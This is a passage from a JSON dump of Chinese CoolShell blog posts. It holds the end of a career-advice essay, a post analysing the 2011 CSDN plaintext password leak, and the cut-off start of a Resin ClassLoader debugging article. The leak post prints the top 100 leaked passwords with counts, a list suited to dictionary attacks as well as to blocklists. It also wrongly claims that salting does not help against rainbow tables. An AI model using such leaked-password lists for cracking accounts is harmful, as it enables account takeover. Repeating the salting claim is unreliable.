雅虎其实很想去，虽然这几年雅虎走下坡，但还是大公司，牌子硬，里面牛人也多，有助于自己水平的提升。但感觉北京环境不好，生活不是那么舒坦，也搞不定户口，所以我去的话也只能干个三五年就得考虑跳槽到别的城市安家落户了。这么一跳，在北京积累的各种资源却又带不走 。\n> \n> \n> 杭州，比北京更适合生活，户口不是问题，朋友多，这个公司也比较宽松，有较多的业余时间跟朋友们一起搞点东西。而且这些年这个公司上升的势头，在国内设研发中心也才4年，规模不大，公司本身规模也还不大，我觉得机会还不错。再加上离家近，对家人大概可以多些照应。\n> \n> \n> 关于未来换工作，雅虎做的是搜索，广告，移动互联这几个方面的，东西在互联网企业里面都比较通用，以后跳槽的话，面相对比较宽。杭州的那个做商业智能的公司，据了解其他做的比较好的也就几个大公司如SAP，IBM有这方面的业务。\n> \n> \n\n\n我和这个同学发了邮件，也打了长途电话，我基本上是这样回复的——\n\n\n\n1）**户口，离家近，安逸的生活，相比起你的人生经历，你的眼界，你的发展，什么都不是**。千万不要让户口限制了你的人生，如果要过安逸轻松的生活，最佳方案是进政府部门，既然要活在体制外，就一定是靠能力，靠经历，一定要有好的经历和能力。\n\n\n2）**眼界，眼界，眼界**。这是我们这个国家里的人最需要的东西了，你的眼界决定了你的人生。我对杭州的这家公司一无所知，但是我知道雅虎的一些好处：a）互联网企业，其天地明显要比BI广阔很多，b）技术强，能人多（看雅虎的面试的难度以及一些产品就知道了），c）外企，可以练英语。d) 跨国公司，可以开眼界，或许会有出国机会。e）北京，几乎所有的知名公司都在这里有基地，这里的技术氛围在全国数一数二。**为了经历和眼界，辛苦几年又有何妨？！人生还是需要有激情的。**\n\n\n3）**经历，经历，经历**。问自己一下，我们会在毕业的第一份工作呆上一辈子吗？不会吧。就算不喜欢北京，就算雅虎这个公司并不完美，但是雅虎的经历，能为你开启一个更为广阔的天地。\n\n\n4）我认为一个有过几乎失败经历的公司会更牛。Apple被打趴下过，Amazon也被打趴下过，**只有被打趴下过而又能站起来的公司和人才是**真正伟大的****。如果Yahoo还能站起来，它一定会是一个伟大的公司。\n\n\n小伙子是个很聪明的人，也是个对生活有激情的人，所以，最后毁了“三方”选择了雅虎。他说：\n\n\n\n> 最终选择雅虎的原因是，我觉得趁早年轻先出去看看，北京还是一个开阔视野的好地方。我要是一开始就选择杭州，以后估计不太会出去了，人生短暂，我还是希望多经历一些多体会一些。我从不畏惧在北京是否有户口，那里的房价是否承受的起，我觉得一个刚毕业的学生没必要太多的考虑这些问题，最重要的是考虑自己的发展。\n> \n> \n\n\n而我的心情却有些复杂，一方面，我觉得一个人的一生可能就此被我改变了，我的心里很复杂。另一方面，万一他来北京不是很顺怎么办？会不会说我骗了他？在这里，我想对这个朋友说——“保持你的热情，努力开你的眼界，努力提高你的能力，你不可能走得不好的，就算雅虎有一天倒下了，也会有很多个更好机会等着你的，我会一直在你身边帮助你的”。\n\n\n这样的来信还有很多很多，户口，薪资，是否去大城市，几乎都成了大家考虑的重点。这个年代实在是太浮躁了。我在此想告诉大家，对于你的人生你应该把“**和什么样的人做什么样的事**”提到你择业优先级最高的地位，没有之一。我的答案是，“**和有激情能做事的人做有意义的事**”。\n\n\n**生活在如此刺激的年代，一定要去经历那些最刺激最有意义的东西，这样人生才会变得有意义。**\n\n\n#### 第二个事：Amazon的校园招聘\n\n\n在Amazon校招的其间发生了一些有意思的事，比如：\n\n\n1）在哈尔滨校招过后，我被公司里的一些同事亲切地称为“[体型魁梧的男子](http://blog.sina.com.cn/s/blog_65f386930100ytgc.html)”，呵呵。希望这位同学毕业的时候还能来Amazon面试，这样，我就能再“虐你一次”。哈哈。\n\n\n2）这次Amazon的校招在北京，天津，西安，武汉，哈尔滨等地进行了招聘，大家知道我们用什么面试题来面这些快毕业的学生吗？我们用面试高级程序员的问题来面试这些刚毕业的学生（我和我的团队里的那些高级程序员说：“你们应该庆幸你们面试的时候没有被回这些问题”）。你知道我们有什么样的收获？主要有两点收获：\n\n\n* **武汉的学生太给力了**。你们的能力超出了所有其它城市的学生，包括北京。这让我们很诧异，搞得我们几个经理都在思考是不是要去武汉建Amazon的研发分部去了。我个人的分析是：**武汉属于中心城市和北京等大城市的沟通相当地好，在这里的学生和在北京的学生有一样的眼界和技术氛围，但却没有在大城市的同学们的浮燥，能踏下心来专研技术**。\n\n\n* **学C++的同学比学Java的同学解决问题的能力更强**。因为两个原因，a) C++需要了解系统知识，b) C++的程序员几乎什么事都得自己干。（参看我的《[如何学好C语言](https://coolshell.cn/articles/4102.html \"如何学好C语言\")》和《[如何学好C++语言](https://coolshell.cn/articles/4119.html \"如何学好C++语言\")》，当然，Java还是很牛的，比如OO方面）\n\n\n3）有一个同学接受了Amazon的offer后，给我来信诉说，给他打电话的经理告诉他要做的是测试为主的工作。然后，他给我发邮件来和倾诉，我说，**如果你不喜欢，你就要说出来，不要将就，将就出来的人生只会平添许多烦恼和后悔**。在此，我想在这里澄清两个事：\n\n\n* Amazon不会强行把你分配到团队中，只要你有想去的团队，你就应该说出来。我们一开始会内部做分配，这样做只是为了效率，但是这并不代表你已经被最终分配到那个团队中去了，无法再调整了。只要你提出来你想做什么。我们会把你的要求放在第一位，并尽最大的可能满足你的要求。相信经理们给你们电话的时候都说过这样的内容了。\n\n\n* Amazon所有的“蓝卡员工”（在Amazon工作5年以内的员工）在工作满一年后，可以有条件地在Amazon内部transfer。条件只有一个：你的工作业绩要很不错，在相同级别的员工中是中坚力量。你可以直接申请其它团队的招聘职位（这个其它团队包括了美国总部在内的全世界的团队），经过流程简单的面试就可以正式transfer。没有人可以阻止你，那怕是Jeff Bezos也无权阻止你。（这个政策要比北京户口更有价值吧？！Think it Big!）\n\n\n4）最后一个有关校园招聘的事发生在我的团队。我觉得我可能要失去这个获得offer的学生了。他在腾讯和亚马逊之间更倾向于腾讯，因为他在腾讯实习过。他一开始的理由主要是，一个是户口问题，腾讯可以解决户口，另一个是他想做底层的C/C++，而不是Java。后面的理由又转变为腾讯的团队文化，等等。\n\n\n我已经给他打过两次电话了，也和他说过许多，和第一个故事里说得差不多。对于是否做C/C++还是Java这方面的事，他和我说，他想在某一个领域成为一个专家。我对他说的这个专家有些模糊，我只是和他说——“**软件的精髓不在于你对系统底层有多了解，也不在语言层面，而是在于设计和架构，而设计和架构这种东西只能靠多想多看**”，我和他说，Amazon不是一个喜欢分享的公司，Amazon内部很多技术和设计水平可能是外部的人无法想像的。我希望他能来我的团队和大家工作一段时间真正感受一下，再做打算。（当然，要是他不明白这些事，我也觉得他不来也没有什么可惜的）\n\n\n另外，我想对所有的人说：“**这个世界上有两种公司，一种是“劳动密集型”的公司，另一种是“知识密集型”的公司，很多公司把软件做成了一种“劳动密集型”的活动，在那里永远无法做出能够让业界所震撼的东西，而有的公司才能把其做成“知识密集型”的公司，在那里，你会看到世界因为他们而改变**”。如果你不能理解这句话的话，你不妨想像一个网上卖书的的公司干出连Google都赶不上的“平台”（参看“[Steve Y的Amazon和Google平台论](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论\")”），你不妨想像一个做MP3播放器的公司可以改变唱片业乃至改变世界。\n\n\n不管这位同学最终能不能成选择我的团队的一员，我都会送你一本《Steve Jobs》，额外，我还会送你一件我团队自己制作的T恤（见下图，谢谢我的HR Recruiter当模特）。\n\n\n![](../wp-content/uploads/2011/12/amazon_global_selling.jpg \"Amazon Global Selling\")\n\n\n#### 第三个事：朋友的跳槽\n\n\n我有一个普通朋友，几个月前跳槽去了一家正在高薪挖人的国内的快要准备IPO的公司。他们开出的薪水和条件非常地诱人。给我这个朋友的开出薪水和那个职位诱惑力太大了。一般人都很难拒绝。但是，当他入职了以后，他发现了这个公司内有很多东西是相当恶心和让他无法接受的，这个公司就可能连“劳动密集型”的公司都不算，非常发不重视技术，在技术上做的东西相当地不规范，在那里的技术人员不但相当地苦逼，而且干的事相当的垃圾，出了问题，所有的团队都在互相推诿，管理非常混乱。这让我的那个朋友非常地难受，在那里的每一天都是一种煎熬，而且他无法改变，高管也很难改变这种局面。整个公司在一种疯狂地暗无天日的状态下工作。我对这个朋友目前的善感到担忧。\n\n\n但是，我想借这个事来谈谈我的想法。我承认薪水和职位是一种价值，但是，人生的价值只有这个吗？你一年少了那几万块钱，你也穷不了，你多了那几万块钱，你也富不了，为什么不去追求那些比那几万块钱更有价值的东西呢？对于我来说，我觉得，最有价值的东西就是——**能和那些有梦想有追求有能力的人一起去经历那些最有意义的事情，那些能够造福社会、改变世界、创造历史的事情**。\n\n\n我从我的上一份工作到现在的工作，我的薪水不但没怎么涨，只是执平，而我的职位还比上一家公司降了一级（而且我还放弃两年内职位还可能再次晋升的机会），我管的团队从4个团队减到了一个很小的5个人左右的团队（现在我坚持小的团队做大事）。我来Amazon之前，这个事让我整整思考了2个多月。最终我发现，**职位和薪水这些对我来说都无所谓，因为我是做事的人，而只有有意义的经历才能真正喂饱我**。而我目前在Amazon里做的这个事，是可能改变历史的事，是那种可以让我一想起来就会兴奋的事。\n\n\n**我知道，价值并不仅仅只是名利权，对此我只想说，不要把自己给卖了**。\n\n\n#### 三个问题\n\n\n其实，我还有很多故事可以讲，只不过我写得太多了，差不多到文章该结束的时候了。那些事改天再说吧。我经历的这些事让我思考了很多很多。每年年底都是我情绪比较低沉的时候，因为，这个时候是我反思一年中的得失的时候，在这个时间段里，我会有一些不安，那种我害怕已经虚度了这一年的那种不安。\n\n\n2011年的年底，我问了我自己三个问题：\n\n\n**1）每天早上醒过来的时候，我会为什么感到兴奋？是什么在驱动着我去开始新的一天？**\n\n\n**2）现在的经历有没有让我有这种兴奋的感觉？这种让我充满力量和期待的感觉？**\n\n\n**3）有没有浮燥，有没有得到认可？身边的人的认可？但更重要的是自己是否对自己认可？**\n\n\n我把我自己的这三个问题共享给大家，我有我的答案，相信你也有你的答案。\n\n\n**在2011年的年底，我希望大家的2011年没有虚度，而2012年能经历那些有意义的的事。**\n\n\n**提前祝大家新年快乐！**\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![技术人员的发展之路](../wp-content/uploads/2016/12/people-150x150.jpg)](https://coolshell.cn/articles/17583.html)[技术人员的发展之路](https://coolshell.cn/articles/17583.html)\n* [![程序算法与人生选择](../wp-content/uploads/2012/12/choice-150x150.jpg)](https://coolshell.cn/articles/8790.html)[程序算法与人生选择](https://coolshell.cn/articles/8790.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/3231.html)[你和你的工作](https://coolshell.cn/articles/3231.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\nThe post [三个事和三个问题](https://coolshell.cn/articles/6142.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-12-22 CSDN明文口令泄露的启示.md",
    "content": "---\nlayout: post\ntitle: CSDN明文口令泄露的启示\ndate: 2011/12/22/ 4:8:27\nupdated: 2011/12/22/ 4:8:27\nstatus: publish\npublished: true\ntype: post\n---\n\n2011年12月21日晚，某计算机专业的大学生寝室，某同学大叫到：“兄弟们，最新的日本XX女星的AV片已经下好，大家快过来看啊，相当精彩啊~~~”，然而，这个寝室里的其它同学似乎没有听到这哥们的呼喊，于是，这哥们又叫了三次，没有人理他，因为大家都在眉飞色舞地谈论着CSDN的明文密码和用户帐号泄露的事情，并在网上查找着下载CSDN那600万的用户数据……上面这个故事是我编的，只是想描述一下昨晚的情形。\n\n\n其实，CSDN明文密码并不是什么稀奇的事情，我是2000年注册CSDN的吧，当时找回口令的机制就是把口令直接传回来了，这一定是明文了。去年去CSDN参加移动互联网沙龙的时候，范凯和蒋涛说过明文密码的事，不过他们说的是很早以前的事了，而且一笔带过了。1年后的今天，事情又暴了，可见，“出来混的，迟早是要还的”这句话是几近真理的。\n\n\n我在以前的BLOG里就提到过CSDN的明文密码（在“[如何设计用户登录功能](https://coolshell.cn/articles/5353.html \"你会做Web上的用户登录功能吗？\")”一文）和 帐号泄露（“[如何设计自己的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")”） 的事（**由此可见，酷壳里的很多文章里的事都应验了**，因为我知道“出来混的，迟早是要还的”）\n\n\n（**可悲吧？还是程序员的网站呢，明文口令和用户信息泄露有悖于一个程序员网站的称号**）\n\n\n#### 泄露的密码分析\n\n\n我昨晚下载了[www.csdn.net.sql](http://www.csdn.net.sql)文件，并分析了一下这个文件，经过各种awk, grep, sort, uniq, sed后，下面是我看到的东西：\n\n\n* 有近45万的用户使用 123456789 和 12345678 做口令。\n* 有近40万的用户使用自己的生日做口令。\n* 有近15万的用户使用自己的手机号做口令。\n* 有近25万的用户使用自己的QQ号做口令。\n* 设置成弱口令的用户占了590万，也就是那种就算你用MD5或是SHA散列的也能很快就被暴力破解出来的口令。\n* 只有8000多个用户的口令里在8个长度以上，并有大写字母，小写字母，数字，并不在字典表里。\n\n\n（很好，这回泄露的还不单单只是明文用户密码和用户邮件，还有用户的手机号，生日和QQ号。挺好的）\n\n\n下面，我们来看一下top 100的口令是什么？（第一列是采用这个密码个数，第二列是密码，我擦 dearbook是什么啊）简单地看了一下，top 一万的口令都很SB。比如什么woshishui, 123abc, aaa123456，01010101，haohaoxuexi，msconfig 相当的2B，还有[P@ssw0rd](mailto:P@ssw0rd)，q1w2e3r4t5，看似文艺，实际很2的口令…. （**可悲吧？还是程序员的网站呢，自己设的口令有悖于一个程序员的称号**）\n\n\n\n235033 123456789  \n\n212751 12345678  \n\n76346 11111111  \n\n45902 dearbook  \n\n34953 00000000  \n\n19986 123123123  \n\n17791 1234567890  \n\n15033 88888888  \n\n6995 111111111  \n\n5966 147258369  \n\n5553 987654321  \n\n5459 aaaaaaaa  \n\n5145 1111111111  \n\n5025 66666666  \n\n4435 a123456789  \n\n4096 11223344  \n\n3667 1qaz2wsx  \n\n3649 xiazhili  \n\n3610 789456123  \n\n3497 password  \n\n3281 87654321  \n\n3277 qqqqqqqq  \n\n3175 000000000  \n\n3143 qwertyuiop  \n\n3094 qq123456  \n\n3077 iloveyou  \n\n3061 31415926  \n\n2985 12344321  \n\n2886 0000000000  \n\n2826 asdfghjkl  \n\n2797 1q2w3e4r  \n\n2580 123456abc  \n\n2578 0123456789  \n\n2573 123654789  \n\n2540 12121212  \n\n2515 qazwsxedc  \n\n2396 abcd1234  \n\n2380 12341234  \n\n2348 110110110  \n\n2298 asdasdasd  \n\n2243 22222222  \n\n2166 123321123  \n\n2160 abc123456  \n\n2145 123456  \n\n2138 a12345678  \n\n2113 123456123  \n\n2106 a1234567  \n\n2100 1234qwer  \n\n1989 qwertyui  \n\n1986 123456789a  \n\n1971 aa123456  \n\n1918 asdfasdf  \n\n1891 99999999  \n\n1859 999999999  \n\n1859 123456aa  \n\n1854 123456123456  \n\n1699 520520520  \n\n1656 963852741  \n\n1652 741852963  \n\n1652 55555555  \n\n1589 33333333  \n\n1480 qwer1234  \n\n1384 asd123456  \n\n1339 77777777  \n\n1316 qweasdzxc  \n\n1285 code8925  \n\n1273 11112222  \n\n1268 ms0083jxj  \n\n1245 zzzzzzzz  \n\n1214 111222333  \n\n1206 qweqweqwe  \n\n1200 3.1415926  \n\n1183 123456qq  \n\n1148 147852369  \n\n1136 521521521  \n\n1121 asdf1234  \n\n1111 123698745  \n\n1109 1123581321  \n\n1058 asdfghjk  \n\n1054 q1w2e3r4  \n\n1038 12345678a  \n\n1003 woaini1314  \n\n991 1234abcd  \n\n988 123qweasd  \n\n975 1qazxsw2  \n\n967 woaiwojia  \n\n920 321321321  \n\n910 05962514787  \n\n894 123456987  \n\n892 kingcom5  \n\n882 zxcvbnm123  \n\n882 5845201314  \n\n853 0987654321  \n\n847 wwwwwwww  \n\n835 11111111111111111111  \n\n805 12345600  \n\n783 11235813  \n\n777 1q2w3e4r5t  \n\n772 10101010  \n\n770 123456asd\n\n\n#### 老生长谈安全问题\n\n\n从酷壳出现开始我就在老生长谈用户安全的东西了，今天借着这个事，大家再去重温一下酷壳的文章吧：\n\n\n* [Twitter禁用的口令](https://coolshell.cn/articles/2451.html \"Twitter的禁用口令\")。看看去吧，一个好的网站应该如何引导用户设置强口令。Apple ID也是这样，需要你输入的口令有大小写，数字，非数字和字母，等等。**今天CSDN的这个列表应该成为各大网站“口令禁用列表”。**\n\n\n* 有朋友说，明文口令是巨2的一件事，是的。我可以告诉你，这个明文口令有可能存在于所有国内的网站上，比如：QQ，新浪，人人，开心，天涯……。**对于安全问题，你要做最坏的假设，鲁迅先生说过：“不惮以最坏的恶意来推测中国人”，所以，对于中国的网站你要做如下最坏假设：1）其以明文存我的口令，2）其内部不良员工会把我的信息泄露出去**。不信你可以看看下面的某QQ群里的截图：（[看看多玩网明文口令的消息吧](http://weibo.com/1494759712/xDa7tah7E?type=repost)，[再看看这个消息吧](http://weibo.com/1642471052/xDaC1dEhP?type=repost) QQ邮箱和QQ号的）http://ww4.sinaimg.cn/large/63071edagw1doah4id8l4j.jpg \"国内网站的数据库\"\n\n\n* 你可能会说用MD5和SHA散列口令就好了，这个只比明文好一点点，因为有rainbow table，国外的号称达到99%覆盖，国内的达到93%覆盖。你加salt也没有用。就算我只能拿得到你的被散列的密码，没有rainbow和salt，我一样可以使用暴力破解，甚至就是尝试一下字典里的密码就可以了。这会非常快的，你可以看看本站的这篇文章“[破解你的口令](https://coolshell.cn/articles/3801.html \"破解你的口令\")”，**现在暴力破解MD5和SHA的口令很快的，因为MD5和SHA性能太好了。**所以，你需要看看“[如何防范密码被破解](https://coolshell.cn/articles/2078.html \"如何防范密码被破解\")”，其会告诉你加密口令要用一个性能差的算法——bcrypt。（也可以参看[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")中的[如何安全保存口令一文](http://codahale.com/how-to-safely-store-a-password/)）\n\n\n* 所以，你有必要地读一读我的这篇“[如何管理和设计自己的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")”，不要在同一网站上使用相同的口令，把口令的级别分好的组。自己管理好自己的口令。\n\n\n* 对于Web用户的安全问题，程序员们一定要看一下 这两篇文章，你要是不看的话，你没有资格开发Web项目。\n+ [如何设计用户登录功能](https://coolshell.cn/articles/5353.html \"你会做Web上的用户登录功能吗？\")\n+ [Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")\n\n\n* 当你看过 [如何设计用户登录功能](https://coolshell.cn/articles/5353.html \"你会做Web上的用户登录功能吗？\") 一文后，你一定会头晕的，所以，我想告诉你，**这种事情最好不要自己干，使用OpenID 和 OAuth吧，人家把这事干到了极致了**。而且这样会带来两个好处：\n+ **用户不需要自己维护和管理一套新的帐号**。\n+ **用户的资料放在国外，从政治上来说是安全的**。（八卦一下：Google总部要求中国谷歌所有开发团队不得在本地保存用户的信息）\n\n\n* 再说一点，再说说如何让自己内部的用户数据不会被不良员工外泄。**所有的开发团队都不允许直接操作用户的数据库，只允许通过安全的接口来验证用户，用户信息的数据库中需要对操作者有审计功能，永远不允许不受信的人或操作进行全库扫描**。当然，我相信，国内的开发团队绝对达不到这一步（包括某些银行）。\n\n\n* 再说一下，**真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞。**比如：通过很多方法“耦合”和银行和电信其是别的第三方的安全策略，比如，让用户绑定邮箱，绑定手机，绑定信用卡等。\n\n\n最后说一下，CSDN在这次事件的表现看上去还是很不错的，道歉也很诚恳，**但是，我还是希望CSDN反思一下为什么数据库会泄露了？内部有不良员工？还是系统不安全被黑？不要只是诚恳道歉，还要找自己的原因。其它的网站可能就很恶劣了。包括新浪，人人，开心等，最恶心的就是腾讯，你说他的安全有问题，他还找一堆人来骂你。**\n\n\n**祝大家新年快乐！**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\nThe post [CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-12-28 由一个问题到 Resin ClassLoader 的学习.md",
    "content": "---\nlayout: post\ntitle: 由一个问题到 Resin ClassLoader 的学习\ndate: 2011/12/28/ 4:22:55\nupdated: 2011/12/28/ 4:22:55\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友 liuxiaori 分享其经历）**\n\n\n#### 背景\n\n\n某日临近下班，一个同事欲取任何类中获取项目绝对路径，不通过Request方式获取，可是始终获取不到预想的路径。于是晚上回家google了一下，误以为是System.getProperty(“java.class.path”)-未实际进行测试，早上来和同事沟通，提出了使用这个内置方法，结果人家早已验证过，该方法是打印出CLASSPATH环境变量的值。\n\n\n于是乎，继续google，找到了Class的getResource与getResourceAsStream两个方法。这两个方法会委托给ClassLoader对应的同名方法。以为这样就可以搞定(实际上确实可以搞定)，但验证过程中却发生了奇怪的事情。\n\n\n软件环境：Windows XP、Resin 3、Tomcat6.0、Myeclipse、JDK1.5\n\n\n#### 发展\n\n\n我的验证思路是这样的：\n\n\n1. 定义一个Servlet，然后在该Servlet中调用Path类的getPath方法，getPath方法返回工程classpath的绝对路径，显示在jsp中。\n2. 另外在Path类中，通过Class的getResourceAsStream读取当前工程classpath路径中的a.txt文件，写入到getResource路径下的b.txt。\n\n\n由于时间匆忙，代码没有好好去组织。大致能看出上述两个功能，很简单不做解释。\n\n\n\n\n```\n\npublic class Path {\n    public String getPath() throws IOException\n    {\n        InputStream is = this.getClass().getResourceAsStream(\"/a.txt\");\n        File file = new File(Path.class.getResource(\"/\").getPath()+\"/b.txt\");\n        OutputStream os = new FileOutputStream(file);\n        int bytesRead = 0;\n        byte[] buffer = new byte[8192];\n        while ((bytesRead = is.read(buffer, 0, 8192)) != -1) {\n            os.write(buffer, 0, bytesRead);\n        }\n        os.close();\n        is.close();\n        return this.getClass().getResource(\"/\").getPath();\n    }\n}\n\n```\n\n \n\n\n\n```\n\npublic class PathServlet extends HttpServlet {\n    private static final long serialVersionUID = 4443655831011903288L;\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException\n    {\n        Path path = new Path();\n        request.setAttribute(\"path\", path.getPath());\n        PrintWriter out = response.getWriter();\n        out.println(\"Class.getResource('/').getPath():\" + path.getPath());\n    }\n\n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException\n    {\n        doGet(request, response);\n    }\n}\n```\n\n在此之前使用main函数测试Path.class.getResource(“/”).getPath()打印出预想的路径为：/D:/work/project/EhCacheTestAnnotation/WebRoot/WEB-INF/classes/\n\n\n于是将WEB应用部署到Resin下，运行定义好的Servlet，出乎意料的结果是：/D:/work/resin-3.0.23/webapps/WEB-INF/classes/ 。特别奇怪，怎么会丢掉项目名称：EhCacheTestAnnotation呢？\n\n\n还有一点值得注意，getPath方法中使用getResourceAsStream(“/a.txt”)却正常的读到了位于下图的a.txt。  \n\n![](../wp-content/uploads/2011/12/resin01.png \"resin01\")\n\n\n然后写到了如下图的b.txt中。代码中是这样实现的：File file = new File(Path.class.getResource(“/”).getPath()+”/b.txt”);本意是想在a.txt文件目录下入b.txt。结果却和料想的不一样。  \n\n![](../wp-content/uploads/2011/12/resin02.png)\n\n\n请注意，区别还是丢掉了项目名称。\n\n\n写的比较乱，稍微总结下：\n\n\n程序中使用ClassLoader的两个方法：getResourceAsStream和getResource。但是事实证明在WEB应用的场景下却得到了不同的结果。大家别误会啊，看名字他们两个方法肯定不一样，这个我知道，但是getResourceAsStream总会获取指定路径下的文件吧，示例中的参数为”/a.txt”，正确读取“/D:/work/resin-3.0.23/webapps/EhCacheTestAnnotation/WEB-INF/classes/ ”下的a.txt，可是将文件写到getResource方法的getPath返回路径的b.txt文件。两个位置的差别在项目名称(EhCacheTestAnnotation)。\n\n\n这样我暂且得出一个结论：通过getResourceAsStream和getResource两个方法获取的路径是不同的。但是为什么呢？\n\n\n于是查看了ClassLoader的源码，贴出getResource和getResourceAsStream的源码。\n\n\n\n```\n\npublic URL getResource(String name) {\n    URL url;\n    if (parent != null) {\n        url = parent.getResource(name);\n    } else {\n        url = getBootstrapResource(name);\n    }\n\n    if (url == null) {\n        url = findResource(name);\n    }\n    return url;\n}\n\npublic InputStream getResourceAsStream(String name) {\n    URL url = getResource(name);\n    try {\n        return url != null ? url.openStream() : null;\n    } catch (IOException e) {\n        return null;\n    }\n}\n```\n\n从代码中看，getResourceAsStream将获取URL委托给了getResource方法。天啊，这是怎么回事儿？由此我彻底迷茫了，百思不得其解。\n\n\n但是没有因此就放弃，继续回想了一遍整个过程：\n\n\n1. 在main函数中，测试getResource与getResourceAsStream是完全相同的，正确的。\n2. 将其部署到Resin下，导致了getResource与getResourceAsStream获取的路径不一致。\n\n\n一个闪光点，是不是与web容器有关啊，于是换成Tomcat6.0。OMG，“奇迹”出现了，真的是这样子啊，换成Tomcat就一样了啊！和预想的一致。\n\n\n在Tomcat下运行结果如下图：  \n\n![](../wp-content/uploads/2011/12/resin03.png)\n\n\n对，这就是我想要的。\n\n\n因此我对Resin产生了厌恶感，之前也因为在Resin下程序报错，在Tomcat下正常运行而纠结了好久。记得看《松本行弘的程序世界》中对C++中的多继承是这样评价的(大概意思)：多重继承带来的负面影响多数是由于使用不当造成的。是不是因为对Resin使用不得当才使得和Tomcat下得到不同的结果。\n\n\n最终，在查阅Resin配置文件resin.conf时候在<host-default>标签下发现了这样一段：\n\n\n\n```\n\n<class-loader>\n<compiling-loader path=\"webapps/WEB-INF/classes\"/>\n<library-loader path=\"webapps/WEB-INF/lib\"/>\n</class-loader>\n```\n\n其中的compiling-loader很可能与之有关，遂将其注释掉，一切正常。担心是错觉，于是将compiling-loader的path属性改成：webapps/WEB-INF/classes1，然后运行pathServlet，b.txt位置如下图：\n\n\n![](../wp-content/uploads/2011/12/resin04.png)\n\n\n确实与compiling-loader有关。\n\n\n#### 结论\n\n\n终于通过将<class-loader>标签注释掉，同样可以在Resin中获取“预想”的路径。验证了的确是使用Resin的人出了问题。\n\n\n#### 疑问\n\n\n\n但是没有这样就结束，我继续对getResource的源码进行了跟进，由于能力有限，没有弄清楚getResource的原理。\n\n\n最终留下了两个疑问：\n\n\n1、如果追踪到getResource方法的最底层(也许是JVM层面)，它实现的原理是什么？\n\n\n2、为何Resin中<class-loader>的配置会对getResource产生影响，但是对getResourceAsStream毫无影响(getResourceAsStream可是将获取路径委托给getResource的啊)。还是这里我理解或者使用错误了？\n\n\n本来文章到这里就结束了，本来是想问问牛人的，但是这个问题引起了很多的好奇心，于是我又花了一两周做了下面的调查。\n\n\n#### Resin中类加载器\n\n\n在我了解的ClassLoader是在com.caucho.loader包下，结构请看下图：  \n\n![图1](../wp-content/uploads/2011/12/resin05.png)  \n\n图1  \n\n[![图2 （点击看大图）](../wp-content/uploads/2011/12/resin06.png)](https://coolshell.cn/wp-content/uploads/2011/12/resin06.png)  \n\n图2\n\n\n从上面两幅图中可以看出，图1是与Jdk有关联的，继承自java.net.URLClassLoader。DynamicClassLoader的注释是这样的：\n\n\n\n```\n\n/**\n* Class\tloader which checks for changes in class files and automatically\n* picks up new jars.\n*\n* DynamicClassLoaders can be chained creating one virtual class loader.\n* From the perspective of the JDK, it's all one classloader.  Internally,\n* the class loader chain searches like a classpath.\n*/\n\n```\n\nEnvironmentClassLoader又继承了DynamicClassLoader。\n\n\n图2应该是Resin本身的ClassLoader，其中Loader是一个抽象类，包含了各种子类类加载器。\n\n\n从两幅图中是看不出Resin自身的Loader体系与继承自JVM的类加载器存在关系，那是不是他们就不存在某种关联呢？其实不是这样子的。请看下面DynamicClassLoader源码的片段：\n\n\n\n```\n\n// List of resource loaders\nprivate ArrayList _loaders = new ArrayList();\nprivate JarLoader _jarLoader;\nprivate PathLoader _pathLoader;\n\n```\n\n清楚了吧，这两个Loader分支通过组合的方式协作。\n\n\n#### 